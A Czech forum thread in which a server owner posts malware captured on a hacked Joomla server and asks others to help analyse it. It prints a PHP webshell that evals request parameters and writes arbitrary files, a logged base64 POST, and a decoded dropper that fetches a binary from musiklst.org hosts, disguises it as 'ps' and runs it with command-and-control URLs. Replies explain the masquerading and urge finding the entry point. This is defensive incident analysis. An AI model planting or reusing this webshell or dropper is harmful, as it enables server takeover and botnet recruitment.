Analýza hacknutého serveru

looker

Analýza hacknutého serveru
« kdy: 31. 03. 2014, 12:12:27 »
Ahoj, prosím pomozte mi zanalyzovat skripty odchycené na hacklém serveru.

Nedávno mi někdo hacknul server a nejspíš jsem se stal součástí nějakého botnetu.
Protože jsem už před půlrokem řešil problém rozesílání spamu - clamavem nalezeny a odstraněny infekce spambotu, nainstalil jsem do apache modul modsecurity a v něm zapl auditlog hlaviček a požadavků POST.
Po nějaké době jsem koukal do auditlogu a našel záznam, kdy po vyvolání infikované stránky na mém serveru došlo ke stažení skriptu a spuštění různých akcí.
Ten skript jsem dekódoval a snažím se rozklíčovat, co přesně dělá.
infikovaná stránka obsahovala toto:
Kód: [Vybrat]
<?php $ietdgc "8c8580370182a2d20127a69c5c7b1af6"
  if(isset(
$_REQUEST['eosdzj'])) 
    { 
$wmbqhi $_REQUEST['eosdzj']; 
    eval(
$wmbqhi); exit(); }
  if(isset(
$_REQUEST['geokxjkd'])) 
    { 
$wwdqd $_REQUEST['ulgidjx']; 
      
$koayobr $_REQUEST['geokxjkd']; 
      
$lyuot fopen($koayobr'w'); 
      
$zcawdru fwrite($lyuot$wwdqd); 
      
fclose($lyuot); 
      echo 
$zcawdru
      exit(); }

?>
Tohle byl pak POST v logu:
Kód: [Vybrat]
eosdzj=%24p+%3d+array%5fkeys%28%24%5fREQUEST%29%3b+echo+%24%5fREQUEST%5b%24p%5b2%5d%5d%3b+eval%28base64%5fdecode%28%24%5fREQUEST%5b%24p%5b1%5d%5d%29%29%3b&p1=ZnVuY3Rpb24gZG93bmxvYWRGaWxlICgkdXJsLCAkcGF0aCkgewoKICAkbmV3Zm5hbWUgPSAkcGF0aDsKICAkZmlsZSA9IGZvcGVuICgkdXJsLCAicmIiKTsKICBpZiAoJGZpbGUpIHsKICAgICRuZXdmID0gZm9wZW4gKCRuZXdmbmFtZSwgIndiKyIpOwoKICAgIGlmICgkbmV3ZikKICAgIHdoaWxlKCFmZW9mKCRmaWxlKSkgewogICAgICBmd3JpdGUoJG5ld2YsIGZyZWFkKCRmaWxlLCAxMDI0ICogNjQgKSwgMTAyNCAqIDY0ICk7CiAgICB9CiAgfQoKICBpZiAoJGZpbGUpIHsKICAgIGZjbG9zZSgkZmlsZSk7CiAgfQoKICBpZiAoJG5ld2YpIHsKICAgIGZjbG9zZSgkbmV3Zik7CiAgfQogfQoKJG9zID0gcGhwX3VuYW1lKCdzJyk7CiR0eXBlID0gcGhwX3VuYW1lKCdtJyk7CgplY2hvICJQSFBfU1RBUlQiOwoKaWYgKCAhZnVuY3Rpb25fZXhpc3RzKHNoZWxsX2V4ZWMpICkKewoJZWNobyAibm9leGVjXG4iOwoJZWNobyAiUEhQX0VORCI7CglleGl0KDApOwp9CgppZiAoICRvcyAhPT0gIkxpbnV4IiApCnsKCWVjaG8gIk5vTGludXg6ICIuJG9zLiI8YnI%2bXG4iOwoJZWNobyAiUEhQX0VORCI7CglleGl0KDApOwp9CgoKCmlmICgkdHlwZSA9PSAieDg2XzY0IikgLy82NC1iaXQgb3MKewoJcHJpbnQgIng4Nl82NFxuIjsKCSRkdyA9ICJodHRwOi8vcGFnZXMubXVzaWtsc3Qub3JnL3BzNjQiOwoJJHBzID0gIi4vcHM2NCI7Cn0KZWxzZQp7CglwcmludCAiaTY4NlxuIjsKCSRkdyA9ICJodHRwOi8vcGFnZXMubXVzaWtsc3Qub3JnL3BzMzIiOwoJJHBzID0gIi4vcHMzMiI7Cn0KCiRwcyA9ICJwcyI7CgppZiAoIWZpbGVfZXhpc3RzKCRwcykpCnsKCWVjaG8gIkRvd25sb2FkICRkd1xuIjsKCWRvd25sb2FkRmlsZSgkZHcsICRwcyk7CgkvL0BmaWxlX3B1dF9jb250ZW50cygiJFBTIiwgQGZpbGVfZ2V0X2NvbnRlbnRzKCRkdykpOwp9CmVsc2UKewoJZWNobyAiRXhpc3RzICRwc1xuIjsKfQoKCmNobW9kICgkcHMsICIwNzU1Iik7CgokZW52ID0gIkJEVT1odHRwOi8vYnQyMi5tdXNpa2xzdC5vcmcvYXIxLnBocCBTSFU9aHR0cDovL3Nlby5tdXNpa2xzdC5vcmcvZ3UucGhwIFNLVT1odHRwOi8vc2VlazIyLm11c2lrbHN0Lm9yZy8gTElOPTYwMDAgREJOPWFmMDAxIjsKJGNtZCA9ICRlbnYuIiAuLyRwcyA%2bL2Rldi9udWxsIDI%2bL2Rldi9udWxsICYiOwokb3V0ID0gc2hlbGxfZXhlYygkY21kKTsKCnVubGluayAoJHBzKTsKCmVjaG8gIlBIUF9FTkQiOwo%3d&p2=b1946ac92492d2347c6235b4d2611184&shid=33338
ten POST jsem rozkódoval-obsahuje toto:
Kód: [Vybrat]
  $p = array_keys($_REQUEST);
  echo $_REQUEST[$p[2]];
  eval(base64_decode($_REQUEST[$p[1]]));
a proměnná $p[1] obsahuje tento skript:
Kód: [Vybrat]
  function downloadFile ($url, $path)
    { $newfname = $path; $file = fopen ($url, "rb");
       if ($file) { $newf = fopen ($newfname, "wb+");
                    if ($newf) while(!feof($file))
                      { fwrite($newf, fread($file, 1024 * 64 ), 1024 * 64 ); }
                  }
      if ($file) { fclose($file); }
      if ($newf) { fclose($newf); } }
  $os = php_uname('s');
  $type = php_uname('m');
  echo "PHP_START";
  if ( !function_exists(shell_exec) )
      { echo "noexec\n"; echo "PHP_END"; exit(0); }
  if ( $os !== "Linux" ) { echo "NoLinux: ".$os."
   
  <br>\n";
  echo "PHP_END";
  exit(0);
  }   
  if ($type == "x86_64") //64-bit os
  {
  print "x86_64\n";
  $dw = "http://pages.musiklst.org/ps64";
  $ps = "./ps64";
  }
  else
  {
  print "i686\n";
  $dw = "http://pages.musiklst.org/ps32";
  $ps = "./ps32";
  }
  $ps = "ps"; 
  if (!file_exists($ps))
  {
  echo "Download $dw\n";
  downloadFile($dw, $ps);
  //@file_put_contents("$PS", @file_get_contents($dw));
  }
  else
  {
  echo "Exists $ps\n";
  }
  chmod ($ps, "0755");
  $env = "BDU=http://bt22.musiklst.org/ar1.php SHU=http://seo.musiklst.org/gu.php SKU=http://seek22.musiklst.org/ LIN=6000 DBN=af001";
  $cmd = $env." ./$ps >/dev/null 2>/dev/null &";
  $out = shell_exec($cmd);
  unlink ($ps);
  echo "PHP_END";
  )


« Poslední změna: 31. 03. 2014, 13:13:55 od Petr Krčmář »


Re:analýza hacknutého serveru
« Odpověď #1 kdy: 31. 03. 2014, 12:25:10 »
Ještě dodám, že server jede už z čisté instalace. K tomu skriptu, jde mi hlavně o to, co se děje v shellu s tím ps - jestli to nějak modifikuje linuxí ps.
Ještě s tou infikovanou stránkou je ve stejném adresáři uložen obrázek jpeg s názvem img33339.jpg - samozřejmě to není obrázek ale soubor, kam si skript něco poznamenává.
Má jen 6bytů: FFD8FFC0C220

SUK

Re:analýza hacknutého serveru
« Odpověď #2 kdy: 31. 03. 2014, 12:26:35 »
Zajimave, pages.musiklst.org ukazuje na 127.0.0.1

Jinak nedela to nic jineho, nez ze to stahne a spusti nejakej skript respektive program (asi binarka, neb odlisuje architekturu). A mozna i neco dalsiho. A dela bordel...

Re:analýza hacknutého serveru
« Odpověď #3 kdy: 31. 03. 2014, 12:33:45 »
nejde mi do hlavy proměnná $ps. nejdřív větví v podmínce a pak ji stejně přiřadí string ps. Testuje existenci soboru a ten, jestli se nemýlím, by se měl jmenovat ps.
Hledal jsem soubory ps, a našel jsem ale jen ps - proces status.

Vasek

Re:analýza hacknutého serveru
« Odpověď #4 kdy: 31. 03. 2014, 12:48:14 »
Zkousi, jestli tam soubor ps uz je nebo ne a kdyztak ho stahne. ps se jmenuje proto, aby se zamaskoval. Pokud si totiz vypises bezici procesy, tak na to pravdepodobne pouzijes ps a jsi zvykli za tam vzdy ps je. Takze nejspis prehlednes ze tam je dvakrat a jeden tam nepatri.


Rhinox

Re:analýza hacknutého serveru
« Odpověď #5 kdy: 31. 03. 2014, 12:49:42 »
Bych rekl ze spis nez co je v tech skriptech by te melo zajimat, jak se na servr dostaly (tedy jestli to jeste nevis)...

Lol Phirae

Re:analýza hacknutého serveru
« Odpověď #6 kdy: 31. 03. 2014, 12:51:33 »
nejde mi do hlavy proměnná $ps. nejdřív větví v podmínce a pak ji stejně přiřadí string ps. Testuje existenci soboru a ten, jestli se nemýlím, by se měl jmenovat ps.
Hledal jsem soubory ps, a našel jsem ale jen ps - proces status.

Co?! Zjistím, jestli je OS 32- nebo 64bitový, podle toho stáhnu binárku, no a abych nestahoval zbytečně, protože mezitím můžu infikovat další stroje, tak se nejdřív podívám, jestli už ji náhodou nemám staženou.

Lol Phirae

Re:analýza hacknutého serveru
« Odpověď #7 kdy: 31. 03. 2014, 12:52:43 »
Bych rekl ze spis nez co je v tech skriptech by te melo zajimat, jak se na servr dostaly (tedy jestli to jeste nevis)...

Ano, to bych taky zjišťoval především, protože jinak je ta reinstalace dost na nic, to můžeš takhle reinstalovat každej tejden.  ;D

Re:Analýza hacknutého serveru
« Odpověď #8 kdy: 31. 03. 2014, 13:22:51 »
jela mi tam joomla, takže přes nějakou její slabinu. Je fakt, že jsem záplatoval podle toho, jak jsem se k tomu dostal...

Re:analýza hacknutého serveru
« Odpověď #9 kdy: 31. 03. 2014, 13:25:27 »
nejde mi do hlavy proměnná $ps. nejdřív větví v podmínce a pak ji stejně přiřadí string ps. Testuje existenci soboru a ten, jestli se nemýlím, by se měl jmenovat ps.
Hledal jsem soubory ps, a našel jsem ale jen ps - proces status.

Co?! Zjistím, jestli je OS 32- nebo 64bitový, podle toho stáhnu binárku, no a abych nestahoval zbytečně, protože mezitím můžu infikovat další stroje, tak se nejdřív podívám, jestli už ji náhodou nemám staženou.

Jo to je mi jasný, jenom že tu $ps nastavuje v tom větvení a pak ji stejně přepíše na "ps", ale to si asi zjednodušili název - pro obě arch. stejný a ve větvení to zůstalo